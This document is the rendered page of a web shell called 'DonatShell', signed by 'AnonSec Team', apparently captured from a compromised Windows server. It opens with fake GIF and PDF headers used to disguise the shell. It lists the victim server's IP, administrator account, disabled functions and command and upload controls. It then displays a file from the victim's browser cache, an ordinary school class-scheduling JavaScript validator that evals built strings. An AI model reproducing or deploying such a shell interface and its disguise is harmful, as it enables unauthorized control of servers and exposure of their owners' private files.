GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Users/Administrator/AppData/Local/Google/Chrome/User Data/Default/Cache/Cache_Data/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /Users/Administrator/AppData/Local/Google/Chrome/User Data/Default/Cache/Cache_Data/f_000086
"use strict";
// Schedule/schedule7.js
// Used to validate form elements. Mainly for SCD.
// Need to finish VerifySCD().

// CalcMinuteDiff(time1, time2) ....... Return the difference between two times in minutes as a positive number.
// CloseDialog() ................... Close and empty the dialogDiv.
// GetWeekdayD(WeekdayNumber) ......... Return the weekday d given the weekday number.
// GetWeekdayNumber(WeekdayD) ......... Return the weekday number given the weekdayD.
// ttErrorShow(objInfo) ................... Set error and display above element. Called by Validate_Return[].
// Validate(e, jsReturnFunction, by) .. Use AJAX to validate a form element value. Calls Validate_Return[] when AJAX complete.
// Validate_Return(id, jsReturnCode) .. Store the validation result. Called when AJAX complete.
// Validate_ScheduleClass() ........... Validate all scheduleclass values except room or instructor.
// Validate_ShowError(e) .............. If the element has an error, call Validate() to show the error.

// VerifySCD()
// Verify the SCD before submission.
function VerifySCD(evt) {
	var DEBUG = DEBUG_ON;
	if ( DEBUG ) { console.group(`${PC}VerifySCD[evt.target.id=${evt.target.id}]`,CG); }//Collapsed
	
	//console.dir(evt);
	
	let submitForm = true;
	// Do not Update or Add class meetings if no changed have been made.
	evt.preventDefault();
	let isChange = IsChangeInSCD(evt);
	if (!isChange) {
		let eScheduleFormContainer = document.getElementById('divScheduleFormContainer');
		let sfcRect = eScheduleFormContainer.getBoundingClientRect();
		if ( DEBUG ) { console.log(`${PC}sfcRect=${JSON.stringify(sfcRect)}`,CL); }
		let innerHTML = '<div class="center">';
		if (evt.target.id == 'btn_UpdateClass') {
			innerHTML += '<h2 class="nowrap">Update class closed</h2>';
			innerHTML += '<span class="nowrap">No changes were made to the class.</span>';
		} else {
			innerHTML += '<h2 class="nowrap">Add class closed</h2>';
			innerHTML += '<span class="nowrap">No information was entered for the class.</span>';
		}
		innerHTML += '</div>';
		eScheduleFormContainer.innerHTML = innerHTML;
		eScheduleFormContainer.style.width = sfcRect.width + 'px';
		eScheduleFormContainer.style.height = sfcRect.height + 'px';
		if ( DEBUG ) { console.log(`${PC}setTimeout(CloseDialog,3000)`,CD); }
		let id = setTimeout(CloseDialog,3000);
	} else {
		// Changes were made to the form. Find out if it is OK to add or update.
		// Do this for both add and update: Ensure id_courseId, txt_scheduleclassSection, id_scheduleclassStartDate, id_scheduleclassEndDate have values.
		let eCourseId = document.getElementById('id_courseId');
		let eScheduleclassSection = document.getElementById('txt_scheduleclassSection');
		let eScheduleclassStartDate = document.getElementById('id_scheduleclassStartDate');
		let eScheduleclassEndDate = document.getElementById('id_scheduleclassEndDate');
		if ( DEBUG ) { console.log(`${PC}cId=${eCourseId.value} sec=${eScheduleclassSection.value} sDate=${eScheduleclassStartDate.value} eDate=${eScheduleclassEndDate.value}`,CL); }
		// we are here
		
		// Then check meetings.
		
		
		if (submitForm) {
			// Save the scroll position and submit the form.
			SaveAutoscrollPosition();
			let task;
			if (evt.target.id == 'btn_UpdateClass') {
				task = 'Update class';
			} else {
				task = 'Add class';
			}
			//alert("Submit form!");
			//console.dir(evt.target);
			//let form = event.target.form;
			if ( DEBUG ) { console.log(`${PC}calling formSubmit[event.target=${event.target}]`,CD); }
			formSubmit(event.target,task);
		}
	}
	
	if ( DEBUG ) { console.groupEnd(); }
} // END VerifySCD.

/** / // This is unused for now 4/4/2022 jfm
Array.prototype.diff = function(arr2) {
		let ret = [];
		for(let i in this) {	 
				if(arr2.indexOf(this[i]) > -1){
						ret.push(this[i]);
				}
		}
		return ret;
};
/**/

// CalcMinuteDiff(time1, time2)
// Return the difference between two times in minutes as a positive number.
// time1 = The 1st time.
// time12 = The 2nd time.
function CalcMinuteDiff(time1, time2)  {
	//console.log('CalcMinuteDiff[time1='+time1+', time2='+time2+']');
	var time1Parts = time1.split(':');
	var time1Date = new Date(2000, 0, 1, time1Parts[0], time1Parts[1]);
	var time2Parts = time2.split(':');
	var time2Date = new Date(2000, 0, 1, time2Parts[0], time2Parts[1]);
	var diff =(time1Date.getTime() - time2Date.getTime()) / 1000;
	diff /= 60;
	var Diff_minutes = Math.abs(Math.round(diff));
	//console.log('time1Parts='+time1Parts+' time2Parts='+time2Parts+' diff='+diff+' Diff_minutes='+Diff_minutes);
	return Diff_minutes;
} // END CalcMinuteDiff.

// CloseDialog()
// Close and empty the dialogDiv.
function CloseDialog() {
	var DEBUG = DEBUG_ON;
	if ( DEBUG ) { console.group(`${PC}CloseDialog[]`,CG); }//Collapsed
	document.removeEventListener('keydown',KeydownDialog);
	document.removeEventListener('scroll', ScrollDialogDiv);
	Element_Highlight.idsToHighlight = [];
	let eDialogDiv = document.getElementById('dialogDiv');
	eDialogDiv.innerText = '';
	eDialogDiv.style.display = 'none';
	divHide('errorDiv');
	if ( DEBUG ) { console.groupEnd(); }
}

// CopyObject(obj)
// Return a copy of the object.
function CopyObject(obj) {
	return JSON.parse(JSON.stringify(obj));
} // END CopyObject.

// GetWeekdayD(WeekdayNumber)
// Return the weekday d given the weekday number.
function GetWeekdayD(WeekdayNumber) {
	var DEBUG = false;
	if ( DEBUG ) { console.warn('GetWeekdayD[WeekdayNumber='+WeekdayNumber+']'); }
	var WeekdayDReturn = '';
	for ( var IDX in Weekdays ){if(Weekdays.hasOwnProperty(IDX)){
		if ( WeekdayNumber === Weekdays[IDX].weekdayNumber ) {
			WeekdayDReturn = Weekdays[IDX].weekdayD;
			break;
		}
	}}
	if ( DEBUG ) { console.warn('WeekdayDReturn='+WeekdayDReturn); }
	return WeekdayDReturn;
} // END GetWeekdayD.

// GetWeekdayNumber(WeekdayD)
// Return the weekday number given the weekdayD.
function GetWeekdayNumber(WeekdayD) {
	var DEBUG = false;
	if ( DEBUG ) { console.warn('GetWeekdayNumber[WeekdayD='+WeekdayD+']'); }
	var WeekdayNumberReturn = 0;
	for ( var IDX in Weekdays ){if(Weekdays.hasOwnProperty(IDX)){
		if ( DEBUG ) { console.log('IDX='+IDX+' weekdayId['+weekdayNumber+']='+Weekdays[weekdayNumber].weekdayD); }
		if ( WeekdayD === Weekdays[IDX].weekdayD ) {
			if ( DEBUG ) { console.log('IDX='+IDX); }
			WeekdayNumberReturn = parseInt(Weekdays[IDX].weekdayNumber);
			break;
		}
	}}
	if ( DEBUG ) { console.warn('WeekdayNumberReturn='+WeekdayNumberReturn); }
	return WeekdayNumberReturn;
} // END WeekdayNumber.

// ttErrorHide(id)
// Hide the error (div_scd_error) and clear event hangler.
function ttErrorHide(id) {
	var DEBUG = DEBUG_ON;
	if ( DEBUG ) { console.group(`${PC}ttErrorHide[id=${id}]`,CG); }//Collapsed
	document.getElementById('div_scd_error').style.display = 'none';
	if ( DEBUG ) { console.groupEnd(); }
} // END ttErrorHide

// ttErrorShow(objInfo)
// Set error and display above element. Called by Validate_Return[].
// objInfo = An objest with the error information.
// objInfo    .id = The id of the element that had the error.
// objInfo.ierror = The error text.
function ttErrorShow(objInfo) {
	var DEBUG = DEBUG_ON;
	if ( DEBUG ) { console.group(`${PC}ttErrorShow[objInfo=${JSON.stringify(objInfo)}]`,CG); }//Collapsed
	// Get the element position.
	var e = document.getElementById(objInfo.id); // Element with error
	e.addEventListener("input", Validate_Input);
	e.addEventListener("blur", Validate_RemoveErrorListeners);
	var inputBounds = ElementBounds(e,'schedule.js7 173'); // Position is absolute to body.
	if ( DEBUG ) { console.log(`${PC}inputBounds=${JSON.stringify(inputBounds)}`,CL); }
	// Get dialogDiv position
	let dialogDivBounds = ElementBounds(document.getElementById('dialogDiv'),'schedule.js7 175');
	if ( DEBUG ) { console.log(`${PC}dialogDivBounds=${JSON.stringify(dialogDivBounds)}`,CL); }
	// Need to subtract divDialog position.
	console.log('inputBounds='+JSON.stringify(inputBounds));
	var eErrorDiv = document.getElementById('div_scd_error');
	eErrorDiv.classList = 'error';
	eErrorDiv.innerHTML = objInfo.error;
	eErrorDiv.style.display = 'block';
	var div_scd_errorBounds = ElementBounds(eErrorDiv,'schedule.js2 45');
	console.log('div_scd_errorBounds='+JSON.stringify(div_scd_errorBounds));
	/** /eErrorDiv.style.left = inputBounds.left + 'px';
	eErrorDiv.style.top = inputBounds.top - div_scd_errorBounds.height - div_scd_errorBounds.border.bottom + 'px';/**/
	eErrorDiv.style.left = inputBounds.left - dialogDivBounds.left - div_scd_errorBounds.border.left  + 'px';
	eErrorDiv.style.top = inputBounds.top - dialogDivBounds.top - div_scd_errorBounds.height - div_scd_errorBounds.border.bottom - 2 + 'px';
	console.dir(eErrorDiv);
	if ( DEBUG ) { console.groupEnd(); }
} // END ttErrorShow.

// Validate(e, jsReturnFunction, by)
// Use AJAX to validate a form element value. Calls Validate_Return[] when AJAX complete.
//                e = The element to validate.
// jsReturnFunction = The js code to eval when Validate_Return[] complete. Optional.
//               by = The caller info. Optional.
function Validate(e, jsReturnFunction=false, by='') {
	var DEBUG = DEBUG_ON;
	if ( DEBUG ) { console.groupCollapsed(`${PC}Validate[e.id=${e.id}, jsReturnFunction=${jsReturnFunction}]  by=${by}`,CG); }//Collapsed
		if ( DEBUG ) { console.log(`${PC}e=${JSON.stringify(e)}`,CI); }
	/* removed for linter ..var jsReturnFunctionName;
	var jsReturnFunction_js;.. */
	if ( DEBUG ) { console.warn('Validate[e.id='+e.id+' jsReturnFunction='+jsReturnFunction+'] by='+by); }
	let AJAXreturn = '';
	if ( e ) { // Is there an element?
		if ( e.id && e.id !== '' ) { // Does the element have an id?
			// e.types = date, select-one, select-multiple, time
			let value;
			if ( DEBUG ) { console.log(`${PC}e.type=${e.type}`,CI); }
			let idType, idField, scmId;
			[idType, idField, scmId] = e.id.split('_');
			if ( DEBUG ) { console.log(`${PC}idType=${idType} idField=${idField} scmId=${scmId}`,CL); }
			let otherDateId;
			let otherValue = '';
			switch ( e.type ) {
				case 'date':
					// id_scheduleclassStartDate id_scheduleclassEndDate inp_scheduleclassmeetingStartDate_4192 inp_scheduleclassmeetingEndDate_4192
					//                                                   inp_scheduleclassmeetingStartDate_add1 inp_scheduleclassmeetingEndDate_add1
					value = e.value;
					if ( DEBUG ) { console.log(`${PC}value=${value}`,CS); }
					if ( e.id.search('Start') !== -1) {
						otherDateId = e.id.replace('Start','End');
					} else {
						otherDateId = e.id.replace('End','Start');
					}
					otherValue = document.getElementById(otherDateId).value;
					if ( DEBUG ) { console.log(`${PC}otherDateId=${otherDateId} otherValue=${otherValue}`,CI); }
					break;
				case 'number':
					value = e.value;
					if ( DEBUG ) { console.log(`${PC}value=${value}`,CS); }
					break;
				case 'text':
					// Does id_scheduleclassmeetingbeginTime_4193 and id_scheduleclassmeetingendTime_4193 times
					value = e.value;
					if ( DEBUG ) { console.log(`${PC}value=${value}`,CS); }
				break;
				default:
					AJAXreturn = { name:false, value:null, error:'Element type ['+e.type+'] not programmed.' };
				break;
			}
			if ( AJAXreturn === '' ) {
				// Make the AJAX call to validate the element's value.
				URI = ROOT_http+'/Schedule/ScheduleClass/ScheduleClassUpdate.php?';
				URI += 'task=VerifyMeeting';
				URI += '&id='+encodeURIComponent(e.id);
				URI += '&value='+encodeURIComponent(value);
				URI += '&otherValue='+encodeURIComponent(otherValue);
				var preloadText = false;
				var jsReturnCode = "Validate_Return('"+e.id+"', '"+jsReturnFunction+"');";
				if ( DEBUG ) { console.log("Calling UpdateInclude['"+URI+"', '"+preloadText+"', '"+jsReturnCode+"']"); }
				document.getElementById('divAJAXreturn').innerHTML = '';
				let ValidateAJAXcount = 0;
				UpdateInclude(URI, 'divAJAXreturn', preloadText, jsReturnCode);
				AJAXreturn = { name:false, value:null, error:'Recalled UpdateInclude.'};
			}
		} else { // Does the element have an id?
			// No.
			AJAXreturn = { name:false, value:null, error:'Element to validate does not have an id.' };
		} // Does the element have an id?
	} else { // Is there an element?
		// No.
		AJAXreturn = { name:false, value:null, error:'Element to validate does not exist.' };
	} // Is there an element?
	if ( DEBUG ) { console.log('AJAXreturn='+JSON.stringify(AJAXreturn)); }
	if ( DEBUG ) { console.groupEnd(); }
} // END Validate.

// Validate_Input(evt)
// Calls Validate().
function Validate_Input(evt) {
	evt = (evt) ? evt : window.event;
	//console.log(`${PC}Validate_Input id=${evt.target.id}`,CQ);
	Validate(evt.target);
} // END Validate_Input.

// Validate_RemoveErrorListeners(evt)
// Clear error listeners onblur.
function Validate_RemoveErrorListeners(evt) {
	evt.target.removeEventListener('blur', Validate_RemoveErrorListeners);
	evt.target.removeEventListener('input', Validate_Input);
} // END Validate_RemoveErrorListeners.

// Validate_Return(id, jsReturnCode)
// Store the validation result. Called when AJAX complete.
// Call setup by Validate_Return[].
function Validate_Return(id, jsReturnCode=false) {
	let DEBUG = DEBUG_ON;

	var jsReturnCodePerform = false;
	if ( !jsReturnCode ) {
		jsReturnCode = false;
	}
	if ( typeof id === 'object' ) { // Is id an object?
		id = id.id; // Change it to the object's id.
	} // Is id an object?
	if ( DEBUG ) { console.group(`${PC}Validate_Return[id=${id}, jsReturnCode=${jsReturnCode}]`,CG); }//Collapsed
	let AJAXreturn = '';
	var AJAXreturnHTML = document.getElementById('divAJAXreturn').innerHTML;
	if ( DEBUG ) { console.log("\t"+'AJAXreturnHTML="'+AJAXreturnHTML+'"'); }
	if ( AJAXreturnHTML !== '' ) { // Has data been returned from the AJAX call?
		// Yes, get js.
		AJAXreturn = JSON.parse(AJAXreturnHTML);
		if ( DEBUG ) { 
			console.log("\t"+'AJAXreturn='+JSON.stringify(AJAXreturn));
			console.log("\t"+'AJAXreturn.id='+AJAXreturn.id);
			console.log("\t"+'AJAXreturn.name='+AJAXreturn.name);
			console.log("\t"+'AJAXreturn.value='+AJAXreturn.value);
			console.log("\t"+'AJAXreturn.error='+AJAXreturn.error);
		}		
		var idParts = AJAXreturn.id.split('_');
		var elementName = idParts[1];
		var scmId = idParts[2];
		let beginTime;
		let beginTimeMin;
		let endTime;
		let endTimeMin;
		let e_scheduleclassmeetingBeginTime;
		let e_scheduleclassmeetingEndTime;
		if ( AJAXreturn.error === false ) { // Are there no errors?
			// Run any other validation code needed.
			var DateText;
			switch ( elementName ) { // switch on form element name. 
				case 'scheduleclassmeetingStartDate':
				case 'scheduleclassmeetingEndDate':
					if ( elementName === 'scheduleclassmeetingStartDate' ) {
						DateText = 'start';
					} else {
						DateText = 'end';
					}
					var ScheduleclassStartDate = document.getElementById('id_scheduleclassStartDate').value;
					var ScheduleclassEndDate = document.getElementById('id_scheduleclassEndDate').value;
					if ( AJAXreturn.value < ScheduleclassStartDate || AJAXreturn.value > ScheduleclassEndDate ) {
						// Date is out of class date range. 
						AJAXreturn.error = 'The meeting '+DateText+' date is outside of the Class start and end dates.';// ['+DateUSA(ScheduleclassStartDate)+' - '+DateUSA(ScheduleclassEndDate)+'].';
					} else {
						if ( DEBUG ) { console.log('The meeting '+DateText+' date is OK.'); }
					}
				break;
				case 'scheduleclassStartDate':
				case 'scheduleclassEndDate':
					if ( elementName === 'scheduleclassStartDate' ) {
						DateText = 'start';
					} else {
						DateText = 'end';
					}
					if ( AJAXreturn.value < SessionCurrent.Start || AJAXreturn.value > SessionCurrent.End ) {
						// Date is out of session range. 
						AJAXreturn.error = 'The class '+DateText+' date is outside of the '+SessionCurrent.Type+' start and end dates.';// ['+DateUSA(AJAXreturn.value)+'] ['+DateUSA(SessionCurrent.Start)+' - '+DateUSA(SessionCurrent.End)+'].';
					} else {
						if ( DEBUG ) { console.log('The class '+DateText+' date is OK.'); }
					}
				break;
				case 'scheduleclassmeetingBeginTime':
				case 'scheduleclassmeetingEndTime':
					switch ( AJAXreturn.name ) {
						case 'scheduleclassmeetingBeginTime':
							e_scheduleclassmeetingBeginTime = document.getElementById('id_scheduleclassmeetingBeginTime_'+scmId);
							e_scheduleclassmeetingBeginTime.value = AJAXreturn.value;
							beginTime = AJAXreturn.value;
							endTime = document.getElementById('id_scheduleclassmeetingEndTime_'+scmId).value;
							break;
						case 'scheduleclassmeetingEndTime':
							beginTime = document.getElementById('id_scheduleclassmeetingBeginTime_'+scmId).value;
							e_scheduleclassmeetingEndTime = document.getElementById('id_scheduleclassmeetingEndTime_'+scmId);
							e_scheduleclassmeetingEndTime.value = AJAXreturn.value;
							endTime = AJAXreturn.value;
							break;
					}
					if ( DEBUG ) { console.log('beginTime='+beginTime+' endTime='+endTime); }
					beginTimeMin = ConvertTimeToMinutes(beginTime);
					endTimeMin = ConvertTimeToMinutes(endTime);
					if ( DEBUG ) { console.log('beginTimeMin='+beginTimeMin+' endTimeMin='+endTimeMin); }
					if ( endTimeMin < beginTimeMin ) {
						// End Time is before begin time. 
						AJAXreturn.error = 'The class meeting end time is before the start time.';
					} else {
						if ( DEBUG ) { console.log('The class meeting end time is OK.'); }
					}
				break;
				default:
					if ( DEBUG ) { console.log('There is no additional validation code for '+elementName+'.'); }
				break;	
			} // switch on form element name.
			// Perform any return js code.
			if ( jsReturnCode !== null && jsReturnCode !== '' ) { 
				if ( DEBUG ) { console.warn('jsReturnCode='+jsReturnCode); }
				jsReturnCodePerform = true; }
		} else { // Are there no errors?
			if ( DEBUG ) { console.log('There was already an error ['+AJAXreturn.error+'].'); }
		} // Are there no errors?
		// Validate entire form to activate Add or Update button.
	} else { // Has data been returned from the AJAX call?
		// No, check again with a delay.
		ValidateAJAXcount++;
		if ( ValidateAJAXcount < ValidateAJAXlimit ) {
			console.log('No jsReturnCode='+jsReturnCode);
			setTimeout(function(){Validate_Return(id, jsReturnCode);},ValidateAJAXcount*100);
			AJAXreturn = { name:false, value:null, error:'Recall function' };
		} else {
			//alert('No return from AJAX.');
			AJAXreturn = { name:false, value:null, error:'No return from AJAX call.' };
		}
		if ( DEBUG ) { console.groupEnd(); }
		return;
	} // Has data been returned from the AJAX call?
	if ( DEBUG ) { console.log('AJAXreturn='+JSON.stringify(AJAXreturn)); }
	// Deal with errors.
	var AJAXelement = document.getElementById(AJAXreturn.id);
	if ( DEBUG ) { console.log('AJAXreturn='+JSON.stringify(AJAXreturn)+' jsReturnCode='+jsReturnCode); }
	if ( AJAXelement && ( typeof AJAXelement.className !== 'undefined' ) ) {
		if ( typeof AJAXreturn.error !== 'undefined' ) {
			if ( AJAXreturn.name !== false ) {
				if ( AJAXreturn.error === false ) { // Is the value OK?
					ttErrorHide(id); 
					// Yes, remove error class.
					AJAXelement.className = AJAXelement.className.replace( /(?:^|\s)error(?!\S)/g , '' );
					// Hide the errorDiv.
					var de = document.getElementById('errorDiv');
					de.innerHTML = '';
					de.style.display = 'none';
					if ( DEBUG ) { console.log(`${PC}No errors.`,CT); }
					if ( !jsReturnCode ) {
						if ( DEBUG ) { console.log('Call Validate_ScheduleClass[]'); }
						Validate_ScheduleClass();
					} else {
						if ( DEBUG ) { console.log('Do not call Validate_ScheduleClass[]'); }
					}
				} else { // Is the value OK?
					// No, display error to user.
					if ( DEBUG ) { console.log(`${PC}${TB}Errors!`,CE); }
					if ( DEBUG ) { console.log("\t"+'AJAXreturn.error='+AJAXreturn.error); }
					if ( AJAXelement.className.indexOf('error') === -1 ) {
						AJAXelement.className += ' error';  // Add the error classfor the element.
					}
					if ( DEBUG ) { console.log(`${PC}AJAXreturn=${JSON.stringify(AJAXreturn)}`,CA); }
					ttErrorShow(AJAXreturn);
				} // Is the value OK?
			}
		}
	}
	if ( jsReturnCodePerform === true ) {
		if ( jsReturnCode ) {
			console.log('Yes jsReturnCode='+jsReturnCode);
			eval(jsReturnCode);
		}
	}
	if ( DEBUG ) { console.groupEnd(); }
} // END Validate_Return.

// Validate_ScheduleClass()
// Validate all scheduleclass values except room or instructor.
function Validate_ScheduleClass() {
	var DEBUG_ScheduleClass = true;
	if ( DEBUG_ScheduleClass ) { console.warn('Validate_ScheduleClass[]'); }
	var eCourseId = document.getElementById('id_courseId');
	if ( DEBUG_ScheduleClass ) { console.log('eCourseId.type='+eCourseId.type); }
	// BEGIN Validate courseId.
	// eCourseId.type=select-one
	// eCourseId.type=hidden
	var courseId = 0;
	var Valid_courseId;
	switch ( eCourseId.type ) { // switch eCourseId.type.
		case 'hidden':
			courseId = parseInt(eCourseId.value);
		break;
		case 'select-one':
			courseId = parseInt(eCourseId.options[eCourseId.selectedIndex].value);
		break;
		default:
			console.warn('Validate_ScheduleClass courseId not programmed for type '+eCourseId.type);
		break;
	} // switch eCourseId.type.
	if ( DEBUG_ScheduleClass ) { console.log('courseId='+courseId); }
	// courseId=NaN
	// courseId=2383
	if ( isNaN(courseId) || !courseId ) {
		Valid_courseId = false;
	} else {
		Valid_courseId = true;
	}
	if ( DEBUG_ScheduleClass ) { console.log('Valid_courseId='+Valid_courseId); }
	// END Validate courseId.
	// BEGIN Validate scheduleclassSection.
	var Valid_scheduleclassSection;
	var e_scheduleclassSection = document.getElementById('txt_scheduleclassSection');
	if ( e_scheduleclassSection.className.indexOf('error') !== -1 ) {
		if ( DEBUG_ScheduleClass ) { console.log('Valid_scheduleclassSection set false due to className error.'); }
		Valid_scheduleclassSection = false;
	} else {
		if ( e_scheduleclassSection.value ) {
			Valid_scheduleclassSection = true;
		} else {
			if ( DEBUG_ScheduleClass ) { console.log('Valid_scheduleclassSection set false due to no scheduleclassSection.'); }
			Valid_scheduleclassSection = false;
		}
	}
	if ( DEBUG_ScheduleClass ) { console.log('Valid_scheduleclassSection='+Valid_scheduleclassSection); }
	// END Validate scheduleclassSection.
	// BEGIN Validate scheduleclassStartDate.
	var Valid_scheduleclassStartDate;
	var e_scheduleclassStartDate = document.getElementById('id_scheduleclassStartDate');
	if ( e_scheduleclassStartDate.className.indexOf('error') !== -1 ) {
		if ( DEBUG_ScheduleClass ) { console.log('Valid_scheduleclassStartDate set false due to className error.'); }
		Valid_scheduleclassStartDate = false;
	} else {
		if ( e_scheduleclassStartDate.value ) {
			Valid_scheduleclassStartDate = true;
		} else {
			if ( DEBUG_ScheduleClass ) { console.log('Valid_scheduleclassStartDate set false due to no scheduleclassStartDate.'); }
			Valid_scheduleclassStartDate = false;
		}
	}
	if ( DEBUG_ScheduleClass ) { console.log('Valid_scheduleclassStartDate='+Valid_scheduleclassStartDate); }
	// END Validate scheduleclassStartDate.
	// BEGIN Validate scheduleclassEndDate.
	var Valid_scheduleclassEndDate;
	var e_scheduleclassEndDate = document.getElementById('id_scheduleclassEndDate');
	if ( e_scheduleclassEndDate.className.indexOf('error') !== -1 ) {
		if ( DEBUG_ScheduleClass ) { console.log('Valid_scheduleclassEndDate set false due to className error.'); }
		Valid_scheduleclassEndDate = false;
	} else {
		if ( e_scheduleclassEndDate.value ) {
			Valid_scheduleclassEndDate = true;
		} else {
			if ( DEBUG_ScheduleClass ) { console.log('Valid_scheduleclassEndDate set false due to no scheduleclassEndDate.'); }
			Valid_scheduleclassEndDate = false;
		}
	}
	if ( DEBUG_ScheduleClass ) { console.log('Valid_scheduleclassEndDate='+Valid_scheduleclassEndDate); }
	// END Validate scheduleclassEndDate.
	// BEGIN Validate class meeting values.
	var scmId;
	var Valid_meetings = true;
	var ScheduleclassmeetingIds = document.getElementById('hid_scheduleclassmeetingIds').value.split(',');
	for ( var scmIndex=0; scmIndex<ScheduleclassmeetingIds.length; scmIndex++ ) { // Loop thru meeting.
		scmId = ScheduleclassmeetingIds[scmIndex];
		if ( DEBUG_ScheduleClass ) { console.log('scmId='+scmId); }//inp_scheduleclassmeetingStartDate_0
		// BEGIN Validate scheduleclassmeetingStartDate.
		var e_scheduleclassmeetingStartDate = document.getElementById('inp_scheduleclassmeetingStartDate_'+scmId);
		if ( e_scheduleclassmeetingStartDate.className.indexOf('error') !== -1 ) {
			if ( DEBUG_ScheduleClass ) { console.log('Valid_meetings set false due to className error in inp_scheduleclassmeetingStartDate_'+scmId+'.'); }
			Valid_meetings = false;
		} else {
			if ( e_scheduleclassmeetingStartDate.value === '' ) {
				if ( DEBUG_ScheduleClass ) { console.log('Valid_meetings set false due to no scheduleclassmeetingStartDate in inp_scheduleclassmeetingStartDate_'+scmId+'.'); }
				Valid_meetings = false;
			}
		}
		// END Validate scheduleclassmeetingStartDate.
		// BEGIN Validate scheduleclassmeetingEndDate.
		var e_scheduleclassmeetingEndDate = document.getElementById('inp_scheduleclassmeetingEndDate_'+scmId);
		if ( e_scheduleclassmeetingEndDate.className.indexOf('error') !== -1 ) {
			if ( DEBUG_ScheduleClass ) { console.log('Valid_meetings set false due to className error in inp_scheduleclassmeetingEndDate_'+scmId+'.'); }
			Valid_meetings = false;
		} else {
			if ( e_scheduleclassmeetingEndDate.value === '' ) {
				if ( DEBUG_ScheduleClass ) { console.log('Valid_meetings set false due to no scheduleclassmeetingEndDate in inp_scheduleclassmeetingEndDate_'+scmId+'.'); }
				Valid_meetings = false;
			}
		}
		// END Validate scheduleclassmeetingEndDate.
		// BEGIN Validate Days and times.
		//console.log('BEGIN Validate Days and times.');
		var ScheduleclassmeetingArranged = document.getElementById('id_scheduleclassmeetingArranged_'+scmId).checked;
		if ( DEBUG_ScheduleClass ) { console.log('ScheduleclassmeetingArranged='+ScheduleclassmeetingArranged); }
		if ( !ScheduleclassmeetingArranged ) { // Are the days and times NOT Arranged.
			// BEGIN Validate days. chk_Weekday_423_3
			var chk_Weekday_Id;
			var chk_Weekday_Checked = false;
			for ( var weekdayId in Weekdays ){if(Weekdays.hasOwnProperty(weekdayId)){
				chk_Weekday_Id = 'chk_Weekday_'+scmId+'_'+weekdayId;
				if ( document.getElementById(chk_Weekday_Id).checked ) { chk_Weekday_Checked = true; }
			}}
			if ( DEBUG_ScheduleClass ) { console.log('chk_Weekday_Checked='+chk_Weekday_Checked); }
			if ( !chk_Weekday_Checked ) {
				if ( DEBUG_ScheduleClass ) { console.log('Valid_meetings set false due to no weekday checked for '+scmId+'.'); }
				Valid_meetings = false;
			}
			// END Validate days.
			// BEGIN Validate times.
			
			// END Validate times.
		} // Are the days and times NOT Arranged.
		
		// END Validate Days and times.
	} // Loop thru meeting.
	if ( DEBUG_ScheduleClass ) { console.log('Valid_meetings='+Valid_meetings); }
	
	// END Validate class meeting values.
/** /
Add or update class
Valid	
	
	Meetings (check all)
Valid		
		Arranged --or--
		Days and times
/**/
	
	
} // END Validate_ScheduleClass.

// Validate_ShowError(e)
// If the element has an error, call Validate() to show the error.
// Should probably be storing the errors locally instead of re-calling Validate(e).
function Validate_ShowError(e) {
	var DEBUG = DEBUG_ON;
	if ( typeof e === 'string' ) { // Is e a string (the id)?
		e = document.getElementById(e); // Change e to the element.
	} // Is e a string (the id)?
	if ( DEBUG ) { console.group(`${PC}Validate_ShowError[e.id=${e.id}]`,CG); }//Collapsed
	if ( DEBUG ) { console.log(`${PC}e.className=${e.className} (e.className.indexOf(\'error\'))=${(e.className.indexOf('error'))}`,CI); }
	if ( e.className.indexOf('error') !== -1 ) { // Is there an error?
		if ( DEBUG ) { console.log(`${PC}Calling Validate`,CL); }
		Validate(e,null,'510 Validate_ShowError'); // Re-validate the element.
		if ( DEBUG ) { console.log(`${PC}After Validate`,CL); }
		} // Is there an error?
	if ( DEBUG ) { console.groupEnd(); }
} // END Validate_ShowError.

// CheckAutoEnd(scmId)
// Check if the AutoEnd chackbox is checked and call SetClassendTime if it is.
function CheckAutoEnd(scmId) {
	var DEBUG = DEBUG_ON;
	if ( DEBUG ) { console.group(`${PC}CheckAutoEnd[scmId=${scmId}]`,CG); }//Collapsed
	let id = 'chk_AutoEnd_' + scmId;
	let e = document.getElementById(id);
	if ( DEBUG ) { console.log(`${PC}id=${id} e.id=${e.id} e.checked=${e.checked}`,CL); }
	if (e && e.checked) {
		let e2 = document.getElementById('id_scheduleclassmeetingbeginTime_' + scmId);
		SetClassendTime(e2);
	}
	if ( DEBUG ) { console.groupEnd(); }
} // END CheckAutoEnd.

Anon7 - 2022
AnonSec Team